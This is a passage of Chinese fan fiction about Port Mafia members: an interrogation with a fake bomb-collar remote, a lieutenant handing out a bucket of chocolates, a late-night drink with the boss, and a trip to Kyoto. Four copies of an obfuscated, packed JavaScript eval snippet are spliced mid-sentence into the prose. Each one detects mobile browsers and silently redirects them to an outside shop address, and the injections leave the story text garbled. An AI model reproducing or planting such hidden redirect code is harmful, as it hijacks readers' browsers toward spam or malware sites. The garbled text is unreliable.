如果能认真想想为何二人会搭档前来,卡斯·舒伦就能活过午夜零点。还有另一个更重要的问题。为何在中原中也接过港口黑手党首领的位置之后,如今的准干部先生与过去的他有相似的工作性质。 可惜这是死到临头的人不会想的事。 佐久间弥津从来都不愿刻意去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762795|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看临死前的人的眼睛。 他对这类人眼里的情绪相当厌恶。 对自己过去的所作所为毫无自知之明的人,才会在听到死神的召唤后流泪。眼泪里没有解脱和释然,只有技不如人的后悔与对死亡的恐惧。 这样的伪君子是不能放过的。 在遍地的“尸体”中,他向顺手为他拉来一张椅子的洛恩佐道了声谢。 “不客气。” 两人之间的客气行径此刻看来像地狱笑话。 暗地里对港口黑手党出手的男人被强行戴上了颈铐,知道自己走在生命倒计时中,心如死灰。 德语交流的事得交给洛恩佐。 港口黑手党的准干部手里有一只遥控器。可以控制电流穿过颈铐,控制颈铐自爆,也可以控制颈铐脱落。 “给你一个机会。如果你能有问必答,遥控器就给你。你可以自己决定自己的命运。” 人类会出于本能去追逐活着的机会。 在沙漠里饥渴难耐,却看到黄澄澄的沙漠里,伫立着一间小木屋,木屋里有两桶透明的液体。渴到极致的人顾不上思考小木屋的存在是否合理,是真实存在的避难所还是死前的幻觉;水桶中的液体是水还是酒精还是毒药;小屋给予自己的阴凉是不是自己思维已然错乱的有力论证。 落在深不见底的水潭中,脚踩不到潭底,只要模模糊糊看到水中有何物向着自己而来,就会伸出手抱紧,不管奔向自己的是救生员还是锤头鲨。 曾经对港口黑手党犯下不可饶恕罪行的男人以为自己有活着的机会,自然会答应。 当录音笔结束录音,发出嘀的一声,黑手党人信守承诺,把遥控器抛给了和死神一墙之隔的男人。 男人却绝望地发现,这两个混蛋交给他的竟然是最普通不过的空调遥控器。 佐久间弥津干掉第二波打手时,从空房间沙发上随手捡了一个空调遥控器。 骗你的,控制电流的不是“遥控器”。 这个男人的命运从对港口黑手党出手时就被搬上了另一场更宏大的赌局。当总是赌他物的人,自身的性命变成了赌注的一部分,就会像这样丑态百出。 没办法,求生是人类的本能。 但有些罪恶是直到身死都不会抵消的。 离开赌场时,佐久间弥津从衣兜里掏出另一支录音笔。 作为感谢法涅安·霍克利在他们调查卡斯·舒伦的过程中起到的“浮漂”作用,以及让他今晚赚了不少的报酬,把这只录音笔里记载的真相送给此人也没什么。 筹码要换成钱才能带走,并不知道老板已经被眼前的客人杀死的经理还一脸阿谀奉承笑容目送客人离去,因为客人给他塞了一笔不少的钱当小费。 佐久间弥津提着沉甸甸的保险箱,心满意足地问走在自己身边的洛恩佐,“要去吃烤肉吗。” 忙忙碌碌几个月下来,他已经完全不去想撤职的事了。 不仅是英国常年落雨的冬季,他在欧洲部门各个分部辗转呆满了一整个春天。 看到室外枝叶茂盛的树,他才意识到,现在的苏枋和樱他们已经毕业了吧。 现在算算,他离开那里半年了。 那段生活与现在相比,是另一种无价的奢侈品,但他不会再回去了,也回不去了。当时对苏枋自称杀人犯,还真是把自己美化了。 偶尔回忆其中值得铭记的片段,就足够宽慰自己工作到不分星期几也不分日期的神经了。 63.差点惹首领生气的准干部 向来习惯跟随的镜优此刻也在等弥津大人做完自己的事。 趴在弥津大人脚边的流浪猫已经是这周第三次出现在欧洲部门大楼门口了。 悠闲晒太阳的小流浪猫还不知道自己的命运被这几天给它食物吃的人类决定了,“有空的话……拜托别人送它去宠物医院做绝育吧。” 看毛色,未来应该会吃得很胖。 佐久间弥津接着补充了一句,“绝育手术的钱让水落报销吧。” 原本态度平静的镜优突然来劲了。 他会把整片街区的流浪猫都送到水落望音的办公室,并且留下弥津大人让他拿自己的钱报销的口信。 和水落望音作对的事他会拿出百分百的干劲去做。 “回程的飞机在什么时候?” “明天下午四点。落地横滨的时间是上午九点。” 在国内的雨季来临前,佐久间弥津得回横滨去。 忙装备部门事务的染崎抽空给他送来了新的巧克力。原本还想送他上飞机,被优苦口婆心地劝回了工作室。 他看着染崎提在手里整整一桶巧克力沉默了好一会儿。 这是不是太多了?已经是二十升油漆桶的大小了。 由于工种问题,染崎常年和各类机器设备打交道。力气不及他们这样常年泡在战斗中洗澡的人,但也远超毫无锻炼痕迹的普通人。 为了不让染崎的好意落空,他提过了那一桶巧克力。 果然,不轻。 感受到这份让他心头都有些沉的重量,他决定回去之后把巧克力分给别人。 穿透薄雾的夕阳送别了他,横滨的湿润空气迎接了他。 飞机落地后的第一个“命令”,是让优出门随便逛逛,两个小时内,带纸质糖果盒回来。 他的“家”仍然被酒店所取代,本部大楼里有留给他的休息室,但两者本质上没什么区别。不管再过多少年,他对生活环境都不会有太多要求,就像他以前也会住在书店的隔间里。他随身的东西只有一部手机和电脑,外加一柄不能被称之为伞的“伞”。 优这段时间跟着他住酒店,住他隔壁。平时出门找一趟,比手机发消息打电话还便利。他试图在酒店房间翻箱倒柜找可以临时代替糖果盒的东西,但最后只能喝着从冰箱里翻出来的冰咖啡叹气。 房间自带的冰箱里有酒,也有果汁饮料,可惜以他的胃口现在只想喝咖啡。 雨季开始前以及结束后,他的任务频率会显著降低。这种与他能力规律相对应的工作规律会在中也先生的默许下一直保持。 等阴雨绵绵的日子降临,他会再度忙起来的。以前的任务不比现在繁重,任务间歇休息的时间也没有这么长。 满满一桶巧克力被他奋力提起,倒在长桌上,包装纸色彩缤纷,实在让人眼花缭乱。 难不成让他把每种口味都区分出来吗。 对着一桌巧克力沉思时,突然有敲门声响起。 房间很大。每每有人因为工作上的事来找他,都可以在形似客厅的会客区域接待。时间一久,频繁打交道的成员都知道他住在这里。房费按他的意愿,从工资里扣,好像有因公报销的部分。他不是很了解。 他知道不会是刚才被他拜托去买糖果盒的优——次选是普通的纸盒或者塑料盒。 离开欧洲部门,见不到自己讨厌的人,优整个人从内到外都很亢奋。不找点小事让优去做,过于激动的情绪会持续到晚上,让优今天再度失眠。关怀下属的精神状态也是他该做的。 但优有房卡。 打开门,他看到的居然是驻留在本部的干部成员。 他和钢琴家是几个月没见了。毕竟工作嘛,是这样的。 “有临时任务吗?”他让开门后的空间,让许久未见的人进屋,“可以直接发消息给我。” 称呼其代号的习惯,是不知不觉间养成的。他甚至不知道为什么别人会称呼其“钢琴家”。是因为那双手很适合弹钢琴,还是因为战斗的方式?他一无所知。而且,他们之间必定会有的一场关于“旗会”的讨论,也遥遥无期。他们单独相处的时刻总是关于工作,关于任务,这些话题会在他们之间持续至生命的尽头。 回答他的人面带浅笑,“不是。你也该放假了。永远干性质一模一样的工作,就像陷入无尽的循环,你会精神崩溃的。休息与否,你应该更随心所欲些。” 本部很多成员都听说了你这段时间在欧洲部门做的事。想知道别人是怎么评价你的吗。 他婉拒了,“中也先生有说过什么吗。” 钢琴家没有直接回答,语气耐人寻味地故意曲解他的意思,“他平时联系你的时候还没听够?原来你也是需要听夸奖才有动力工作的类型。” “不。平时的话……” 他和中也先生平时会聊别的。 工作上的事,没什么好谈的。中也先生很放心把那边的事交给他,只会提醒他“不需要示弱”之类的话。 他完全是按照中也先生的示意去做的。 “但你展示出的性情像一点就爆的炸药桶。中也有点后悔当时没有下定决心提前把你召回。” “你爱吃巧克力吗。” 话题转换之大,让听者措手不及。 钢琴家愣住了,注视着说出这种话的人转身进到里面的书房,还站在门口,示意他一起来。 酒店最豪华的客房,其实也只能提供简单的书桌书柜。 “有置办自己住所的想法吗。” 青年轻轻点头,“之后会考虑。” 他进到那间设施简易的书房,花了几秒才看清书桌上的东西是什么。他诧异地盯着那一桌口味各异的巧克力,另有一个大小夸张的“桶”放在书桌旁。 ……是幻觉吗。 在他问出“你怎么会买这么多巧克力”之前,生怕被他误解的人语气显而易见的急切,匆忙解释道,是他以前在欧洲部门的下属送的。 那也很夸张。这恐怕是能平铺一整张台球桌的量。 他被数量如此之多的巧克力所震惊时,佐久间的副手恰在此时刷卡进门,手里提着一包一模一样的纸质糖果盒。 他突然明白了佐久间要做什么。 “最近,我没有安排好的工作。” 站在书桌边的人戴好手套,在那一大堆巧克力里挑挑拣拣,装了满满一盒。 “时间很多。” 那一堆巧克力肉眼看着没少多少。 沉甸甸的一盒,落到了他手上。 “吃完,再来拿。这个品牌的巧克力很受欢迎。” ……? 他很努力地在这对从欧洲部门成长而来的上下级面前保持冷静。 巧克力之类的甜食,他不是很热衷。说不定等到夏天过了,秋风都开始吹落满树的枯叶,他都解决不了这一盒巧克力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768044|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有成年男性手掌心大小的糖果盒,一天吃一颗,粗略估计,两周是够的。 同样的糖果盒,佐久间又装了一盒,交给了自己的副手,也同样说,吃完来拿。 对如今就住在佐久间隔壁的人来说,这的确很方便。 但镜优点头时的艰难被今日的来客看在眼里。 吃甜点补充能量,是发现自己越来越没时间离开工作室的染崎想出的绝招。除了巧克力,还有各类维生素片和补剂。他还是劝染崎每天至少正经吃一顿饭,不惜搬出营养不够会更影响工作的说辞。 他是很赞同弥津大人把巧克力分掉的想法的。入夏之后,气温会越来越高,不如早日将其处理掉。染崎不会介意自己的好意被弥津大人分给别人,不如说,买这么多巧克力的染崎本就希望弥津大人这么做。 佐久间弥津并没发觉自己随便分发巧克力的行为有什么问题。 一桶巧克力分装了二十二盒。剩下的数量,仍然能够铺满桶底,可就连他的手指头都在喊累,分装巧克力的行为不得不停下。 盯着巧克力包装纸看了一整个下午,眼睛发酸。 每个来找他的人都会被他塞一盒巧克力。幸好他们没看到巧克力倒在桌上的盛况,否则就不是那副受宠若惊的无措,而会像钢琴家一样连笑意都凝固。只可惜知道他休假的成员不会来找他。垒成半堵墙的糖果盒只少了最上面的一层。 他得出门,否则会直到晚上睡觉前,满眼都还是花花绿绿的色块。 他还在思考接下来做什么,他的首领一通电话把他喊来了总部。 出差太久,上次站在总部顶楼走廊的窗边眺望天边橙红色晚霞,是几个月以前的事了。他带了两份巧克力,以便不时之需。现在看来,这样的决定恰到好处。 和其他人一样,接过糖果盒的金发青年在一阵沉默后礼貌道谢。青年的长相有混血的感觉。 其实他还不知道青年的名字。数月前,他来找中也先生谈那件事,那天也是此人在中也先生的办公室里。 “枢川伶司。目前负责情报部门的事务。” 港口黑手党今日正常按时下班的首领打量着送到他桌上的糖果盒,随口说,“现在也不是情人节啊。”更不是圣诞节和万圣节。 但正是中原中也的话让佐久间弥津明白,为什么许多人接过巧克力之后的反应都有些微妙的相似。 会有人误会他的意思吗。 “染崎给我的巧克力太多了。中也先生,你对二十升汽油桶的大小有概念吗。” 二十升汽油桶…… 中原中也边拆糖果盒,边在脑子里想象汽油桶的大小。 等一下,突然提到“汽油桶”的意思是…… “她给了你一桶吧?” “正是如此。” 中原中也对那位随身带蛇的少女又多了几分畏惧。 喝酒和吃巧克力不是相悖的事,但果然带着一盒巧克力去酒吧还是太奇怪了。 一个小时前他们两个约好晚上“小酌”。 可问题在于被工作长时间占据大脑的他们都忘记了考虑地点。佐久间弥津想要个没人认识他们的地方。想来想去,中原中也给出的答案是——回家。 酒吧的藏酒不一定比他酒柜里的好。 佐久间弥津没拒绝,但担心喝醉之后的中也先生对自己家痛下杀手。 “……只喝一点而已!” 64.留宿的准干部 调整好耳机,和不认识的演职人员擦肩而过。钻进无人的休息室,他反锁了门。房门落锁,形成安全的密室。 他没打算开灯。一旦开灯,什么都会暴露。 借着莹白的光点在黑暗中行走,他拉开化妆镜前的椅子坐下,问道,“你这是什么反应。” 钢琴家的声音听起来怪怪的。回答的话只有语气词,没有完整的话。让他隔着屏幕揣测对方心里的想法?把他当什么了。 “嗯……” 所以,你这是什么意思。 “我在吃巧克力。” “打电话时吃巧克力是你新养成的习惯?我可是丢下了电影制片人来联系你的,给我这样的待遇,我是回到了我们刚认识的时候吗。” 钢琴家对电话里传来的冷嘲热讽无所谓,“毕竟是别人送的赠礼呢。” 碰都不碰,很浪费。送人是被迫之举,但多少算一份心意。 他没亲眼见过佐久间对敌人动真格时的状态,但不会比分装巧克力时更专注了。特地戴好手套才挑起巧克力的人在努力让每一盒的口味尽可能丰富。这种小事都这么认真,也难怪他们的首领那么看重他。 他尝了一块,尝到了橙子味。随手翻了翻,在苹果、橙子和柚子之类的口味以外,还有朴实无华但经典的黑巧克力。 “赠礼?什么人会送你巧克力。” 组织里的人?你的下属?情人节早过了,白色情人节也是,有人会毫无缘故地送别人巧克力吗。 “佐久间送的。” 每天一小块,够吃二十多天。 盯着镜中的自己,公关官听到这个名字时命令自己像名字的主人一样面无表情。 镜中人的神态无限接近那位准干部。但还是少了点别人模仿不出但存在于佐久间骨子里的冷幽默。 佐久间身上的幽默旁人是学不来的。简单的举动,却能震撼人心,尤其配上佐久间那很难分辨说话时心思正经与否的平淡眼神,这分明是鬼怪一般的幽默天赋。 “他为什么要送你巧克力?他不是在欧洲出差吗。” 他有听说佐久间在欧洲那边的行动。 雷厉风行,快且凶狠,把佐久间的名字从文件里删掉换成中也自己,那些形容也不违和。从佐久间身上能看到中也的影子,大胆说其当年是照着中也的定位所培养的也不为过。 佐久间缺席了四年,着实可惜。但他想,过不了多久,就能看到佐久间的名字和另外两名干部并列了。 只是时间问题。 “飞机上午刚落地横滨。据其所说,这些巧克力是他在欧洲部门的下属送给他的。数量非常多,我亲眼所见,逼得他不得不分装送人。” 公关官对好友的形容将信将疑。 “能平铺满一张台球桌,你想象一下。” ……是挺多的。 “多到快要见者有份。”以相同分量保守估计,那堆成山的巧克力够装至少二十盒。 “没我的份?”他随口问。 镜中人的神态稍微有所改变。 但他仍然只能学到浮于表面的冷淡。 巧克力包装纸被叠成小块抛进垃圾桶,钢琴家在电话这头反问道,“他有见到你吗?” 是谁觉得自己终于闲下来,所以去收拾制片公司的麻烦?这不是你自己选的吗。 “他休假了。” “是你的要求?” “是中也的命令。” * 不敲门,也没打招呼,拉着办公室门把手转了个圈,朝日谷耀快如闪电地伸手,从枢川办公桌上抓走一把巧克力,随后立即转身夺门而逃,却被从门框射出的红外线拦住去路。 只要踏出一步,就会有不留情的毒雾扑到他身上。 朝日谷耀干脆收回脚,光明正大地站在枢川伶司的办公室享受起今日抢夺而来的“战利品”,“你这是什么运气,去汇报工作都有人送你巧克力。谁送的,喜欢你?” “佐久间准干部。” “而且你居然收了……?” ……谁? 咬在嘴里的巧克力顿时变得恐怖起来,像几秒前从冶炼火炉里拿出来的炽热铁水,把朝日谷耀烫得面色扭曲,担心自己下次睁眼是在地狱门口。 被他手快拆掉包装纸的巧克力有淡淡的果味在他嘴里晕开。想挽尊已经来不及了,他走近,靠坐在枢川办公桌上,满腹狐疑地问,“你和那位的交情有这么好?” 那位准干部和他在工作里没交集,他一个常年呆地牢的人根本没见过那人几次。 可据他所知,枢川和那位的工作内容也没交集。 没有理由的话,他为什么送你巧克力。 嗯……味道倒是很不错。在地牢待久了,他吃点甜食怎么了。 这么想着,朝日谷耀怒从心起,再次从糖果盒里抓了几颗。装了满满一口袋,心情愉快地转身回审讯部。 “他觉得我是好人。” 枢川伶司回答道。 朝日谷耀背对着枢川伶司翻了个白眼。 除非你胁迫了那位准干部。“你知道他在欧洲都做了点什么吗?”那样的人不会夸别人是好人。 但凡展露敌对意图的组织,都会被那位准干部及其部下给予惨痛的教训。最传统的武斗派风格,在那位准干部身上体现得淋漓尽致。 “知道。” 那有什么。 枢川伶司很欣赏那位准干部的做事风格,和以前还没成为首领的中原干部很像。他们之间仅有几次在本部偶遇的交集,今天这份意料之外的赠礼也不过是他偶然所得。 准干部是去找首领的。 他的视线顺着与衬衫颜色相近的长裤向上移。非正式工作时间,准干部穿着很随意。浅灰色的衬衫外面是一件蓝色的薄外套,戴着纯黑色手套的左手自然地垂在腿边。视线经过敞开的领口时,他忽然想起这位准干部的嗓子据说是受过伤的,所以声音听起来才会听起来低哑破碎,好似摔碎的水晶杯。 准干部转过身来,眼神平静地望着他,另一只手里提着两件东西。 他不是第一次直视那双眼睛。很难想象,今天送他巧克力的人,和据说这几个月里,解决掉数个体量不小的组织的,是同一个人,那抹比窗外晚霞更耀眼的玫红色现在没有半点攻击性,如同日落时照在缓缓流淌的河面上的静谧霞光。 他是干情报的,工作全年无休,但工作强度比这位准干部成员低很多。准干部从英国回横滨的飞机今天上午刚落地,在欧洲出差时的工作内容,这些事他都知道。 他完全没想过会从其手中得到一份巧克力,还是首领同款。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776078|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无论此举是出于何种原因,他会认真考虑回礼的。 * 【听说你回横滨之后休假了】 把被子掀起,盖着头,佐久间弥津背对着房门,曲起腿坐在床上,按着小小的一方手机屏幕回消息。 【嗯】 他回得太入神,连盖在脑袋上的被子慢慢飘到空中都没发现。 【是休假,先彻底休息半个月左右】 中也先生的“命令”是这样的。无论是四年前,还是四年后,对他来说,要听的命令永远只来自一个人。 【还是住酒店吗】 虽然不知道公关官为什么突然问起这个,他回复道,今天没有。 平时还是会住酒店的。他没准会在什么时候就下定决心在横滨购买一套私人住所,但最近一段时间,他依然会把酒店当成“家”。 也不得不说,他至今二十三年的人生里,喝到的最好的酒,都是在和中也先生一起的时候。他还是老样子,没有挑剔酒的品质的技能。让他分辨几万美金的酒和廉价的酒,或许分的出来,但价格和品质差别不大的酒,他实在做不到仅靠品尝就判断出其准确年份。 他是有点暴殄天物了。 中也先生的看法是,他喝得少。明明酒量好得让人嫉妒。 难道那是喝多了就会顺其自然学会的技能吗?他没有像中也先生一样特地花时间去研究,自然不会那么成功。 【我在中也先生家里】 他和中也先生像过去无数次那样举着酒杯聊天。 他们以前聊的话题也经常不是工作本身。他会听中也先生吐槽工作里遇到的怪事和怪人,吐槽的对象是他自己也极有可能。他承认,自己有时候会因为不为人知的动机干出暂时不被理解的事,但他有理有据,别人一旦想通原因就会理解他。 虽然,他们这样的人不是很需要别人的理解。黑手党人的生活里少了正常人普遍拥有的平凡幸福,取而代之的是仅有同类能察觉的乐趣。 四年后的中也先生依旧健谈。他们不知不觉间聊了很久,酒倒是没喝多少。 成为首领后的中也先生会不会比以前更自由?哪怕只有一丝一毫,只要比过去自由,作为部下的他所做的事就是值得的。 他留宿的原因有很多。其一是太晚了。 其二是,他没开车来。就算他开车来,也难保喝过酒的他能稳稳开车回酒店停车场。 这就是太久没过正常生活的弊端。连日常应该考虑的问题都不记得。优在他身边才能想到这种问题。 【是有急事吗】 如果不是急事,可以约个时间,他去公关官办公室找他。 如果是急事,此时此刻,他就在他们的首领身边,能有什么…… 他头顶好像有什么东西在动。 客房没开灯,但手机屏幕的光线足够他仰头看到被子飘在空中。 刚才被他拿来挡光的被子不知什么时候慢慢飘向天花板,泛着眼熟的暗红幽光。 已经晚了。 他猛回头,和站在门口的中也先生四目相对。 屏幕的光线不足以让他完全看清那双陷入黑暗中的湛蓝眼眸。 “玩手机都偷偷摸摸的。” 他的首领走进屋里,一脸困惑。 他是严苛的教师吗? 65.被误伤的准干部 好像有十秒……或者是五秒。 总之,在这么一段短暂又迅速、可能存在也可能不存在的时间里,他的意识有些恍惚。 仿佛他不再是“佐久间弥津”,手机屏幕照到的另一个人也不是他的首领“中原中也”。 他们只是两个酒后眼巴巴地等别人接电话的无趣酒鬼。 谁都没去考虑喝酒到半夜——即使不多——第二天还要不要管生物钟。中也先生勒令他休假,但中也先生自己还有其他事要做。 他嗅了嗅空气中的味道。有些迷糊地想,身上的酒气好像没在浴室里洗干净。他仍能嗅到空气里的酒精味,像茧一样缠在他周身。 这样的酒气是真实存在的吗?还是他在中也先生身边太放松,所以少见的喝醉了? 没人回答他。因为说出“干脆打电话吧,反正都没睡”的中也先生,也在和他一样等公关官接电话。 他们两个守在拨通电话的手机前,屏幕的光线没办法照亮他们身后的暗色。等电话接通的场面,像冬日里贫穷的奴隶守着家里最后一根蜡烛取暖,有些好笑,又有些可怜。 他都快忘了,自己和中也先生是同龄人。如果存在另一个世界的话,他们会不会不是黑手党组织的首领和准干部成员,而是某个阶段的同班同学,又或者是住在同一条街上的邻居。都有可能吧。 和中也先生做同学一定很有趣。他不够完整的学生时期没办法给他提供更多想象的空间,但只要想到这种可能性,他就觉得有意思。 很快,电话接通,公关官的声音把佐久间弥津从短暂的虚无缥缈感中拉回现实。 “假如港口黑手党的敌人发现,我们令人闻风丧胆的首领和准干部半夜三更凑在一块只是为了喝酒,他们能顿悟自己有多没用吗。” 深夜喝酒聊天,这是港口黑手党的高层也会做的事。搞不垮他们的人得反思自己的问题。 事实是反思也没用。 长在庭院的竹林苍翠欲滴,格外惹客人喜爱,多看两眼,心情都会清爽不少。飒飒作响的竹叶在轻风中摇晃,从其间穿过的夏夜轻风带着温和凉意,能一直吹进私密性极好的屋内。窗边的沙发供给客人欣赏就入住价格而言十分昂贵的夜景,但面对“酒鬼”,谁还能有这种心思呢。 电话另一边的二人各说各的,为了解释他们凑一块不是完全因为酒。 二人的嗓音截然不同,就算两道声音同时袭击他的左右脑,他也能听懂这两个严格按职位来看都是他上级的人在讲什么鬼东西。 公关官只能轻轻发出一声感叹。 他不该大晚上回佐久间的消息,平白为自己招来两个半夜不睡觉的酒鬼。 有时候还挺羡慕佐久间这样性质纯粹的武斗派。遇到麻烦,直接“啪”地干掉敌人就好了。 于是电话那头的人对他认真解释了一番,那些已经被其亲手立下墓碑的组织是如何迎来终结的。 “那些家伙还真是学不会吸取教训。” 佐久间讲述中途,他们听起来同样喝了不少的首领居然开始回忆往事。几年前在欧洲出差时遇到的麻烦事都被想了起来,这和以前酒后的模样可是相差太远了。 但佐久间是喝醉了吗,怎么听不出他的本意。就算他有再好的口才,他也不想凌晨一点当醉鬼们的陪聊。 他还没说什么,那头的声音忽然小了很多,仿佛掉进了水里,就差传来咕噜咕噜的水声,他实在分辨不出这是何种怪动静。 他此刻不在横滨。 钢琴家嘲笑他的话已经被他置之脑后。有些事总要解决的,拖可拖不了多久。从手机里传来两声嘀嗒的敲击声虽然能引起他的注意……但他一个远在京都的人,又能对两个喝过酒的武斗派成员做什么。 很好笑吗,他和佐久间一样在住酒店,而且没有佐久间自由。佐久间住的酒店是组织的产业,而他不仅白天要和心思阴险的制片公司讨价还价,晚上还得当两个酒鬼的“监护人”——哪怕这两个“酒鬼”辩称只喝了一杯,晚上一直在纯聊天。 半个小时前他刚离开浴室,发现自己傍晚发给佐久间的消息收到了回复。本来已经决定白天再聊,但试问有谁能在看到那样的消息之后不好奇。 好奇果真害死了他。 他盯着院子里的婆娑竹影和细碎砂石发呆。过了一阵,他才听到手机里传来佐久间“正常”的声音,低哑且破碎。 “抱歉,出了点小问题。” 刚才是怎么了? “没什么。不小心感受了几秒的重力压制。” 不知突然想起哪件糟糕透顶往事的首领紧握拳头,向周围无差别施加重力以发泄心中的不满,几声呼吸后才终于想起,他此刻正和对重力毫无还手之力的下属呆在一个房间。 “中也先生……带着歉意离开了。” 还顺手关上了门。被重力浮空的被子重新落回了自己头上,佐久间弥津觉得自己是时候闭上眼睛睡觉了。 “你们之间一定有人喝醉了。” “喝了很少。我刚才有尽力用指尖敲手机屏幕求救。”即使他不知道为什么只有指尖能动。调动全身的力气,都无法与重压在身上的力量抗衡。中也先生回神的时刻要是再晚点,他会先窒息的。 “我没听出来呢。你向我求救可没用,我在京都。” 聊了太多其他事,公关官差点忘了自己傍晚时为什么要联系佐久间。 嗯……啊,对了。 “我听说你被中也命令休息一段时间,还爱上了送别人巧克力。” “……是的。巧克力的话,染崎给了我很多。”佐久间弥津又举出这个经久不衰的比喻,“能装满一个二十升容量的油漆桶,没办法放着不管。” “想来京都吗。”公关官问。他并不知道佐久间口中的染崎是谁。 想,还是不想?佐久间弥津不知道怎么回答才合适。 公关官没给准干部先生思考的时间。他知道佐久间会来的。无事可做又满脑子奇思妙想的人,都会给自己找点事打发时间。佐久间以前打发时间的方式是开书店,现在恐怕要整日呆总部办公室望天了。 “既然首领都发话让你安心休息半个月……” “一个月。刚刚,变成一个月了。” * 第二日下午见到来人的瞬间,公关官立刻便明白了,一夜之间,佐久间“被迫”休息的时间从半个月变成一个月的原因。 准时来敲门的青年站在屋外,随身带着那把在他看来没准有秘密的伞,以及果然见者有份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784363|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一盒巧克力。 只不过佐久间的眼里写着不太明显的难过。 “虽然我很抱歉。”他为自己忍笑的举动道歉,“但这是不是你一年来受得最重的伤。有去医疗部找医生吗?” 重力碾压的时间很短暂,可他们的首领所拥有的力量完全超乎人类想象,还是找专业人士检查一遍比较稳妥。 “嗯。医生说,只能静养。” 昨天夜里,直面从中也先生身上泄露的力量,身体没有不良反应,可早上一觉醒来,佐久间弥津觉得浑身的骨头都在喊疼。他这时才明白,原来昨天是肾上腺素在救命。 医疗部为他检查的成员看出他的伤痛有蹊跷,不是皮外伤。 当然很蹊跷,毕竟他前一天刚全须全尾地从英国回来,一夜之间却变成了这样。 但他不能说。 最后单独讲给了看穿个中秘密的外科医生,于是他收获了这位“前辈”关门之后的狂笑。 笑够了的医生问,这几天有没有出门的打算。 盯着左手手腕上长出的“小动物”,佐久间弥津点了点头,他答应了公关官去京都一趟。 疼痛的来历类似过度运动后的肌肉酸痛,区别是他感受到的痛存在于骨膜和骨骼内部的神经之中。检查结果显示没有其他问题,把结果回禀给有点心虚的首领,他会即刻出发去京都。 像普通游客那样去,带一份巧克力和他的伞。 其实他来医疗部时也带了几份巧克力。染崎送给他的巧克力几乎都被他分给了组织里的成员。 生着反光鳞片的小动物像极了生活在地球远古时代的“动物”。和一般生物无异的白色尖牙在口腔里迅速生长成熟,他感觉手腕至手肘的位置都长出了冷硬的鳞片。“小动物”张开其实没比小猫大多少的嘴准备袭击他,但在他伸出右手时忽然连同蔓延到手肘的鳞片一起消失了。 “你的异能力?” 他动了动手腕,方才生长在他手腕上的幼年猛兽仿佛是他的幻觉。 “逗人发笑的小伎俩而已。” 医生用这种说辞打发他的问题。 之后的时间,他把自己隐藏进人群中,以普通游客的身份来到这座城市。去年出差时来过,但来去匆匆,京都对他来说仍然是座陌生的城市。 现代科技的便利性在此时便深刻地体现出来了,让他准时到达了约好的地点。 心里默默计算着没送出去的巧克力还有多少,把糖果盒递出去的同时,佐久间弥津问,“你不是电影演员吗。” “是。”这不是公开的秘密吗? “……染崎没时间吃饭的时候,经常用巧克力补充能量。” 佐久间弥津想表达的意思是——能被染崎当能量补充剂的巧克力,他们可以当零食,但他眼前的人似乎不能。 演员这种职业,无论是电影演员、电视剧演员还是话剧演员甚至是舞台剧演员,是不是都有身材管理的需求。 “我想先知道,‘染崎’是哪位。” “染崎云。欧洲分部工程装备部门的成员,我以前的下级。” 然而公关官当着他的面拆开糖果盒。 “我认为,我不需要。” 职业演员和职业演员之间,亦有分别。 66.输在说话慢的准干部 电影演员的事业是他的个人事务,和组织的关系不是很大。因此,他遇到的麻烦他会自己解决。 是那件事的余波。他不愿意公开提起那段时候的事,特别是在中也面前。“当时走不开,推掉了很多原本定好的工作内容。” 听他说话的人正望着院子里的竹林出神。 这座建在竹林深处的日式旅馆最大的优点是安静,能听到的只有风声和竹叶随之摩擦的沙沙声。另一个优点是安全。他出门总是要考虑这方面的。 他顺着佐久间的视线,只看到和昨日没有区别的竹林。这样的风景,他看过数日了。 玫红色的眼睛忽然转过来望着他。 “我有在听。” “……” “对方在追责吗。” 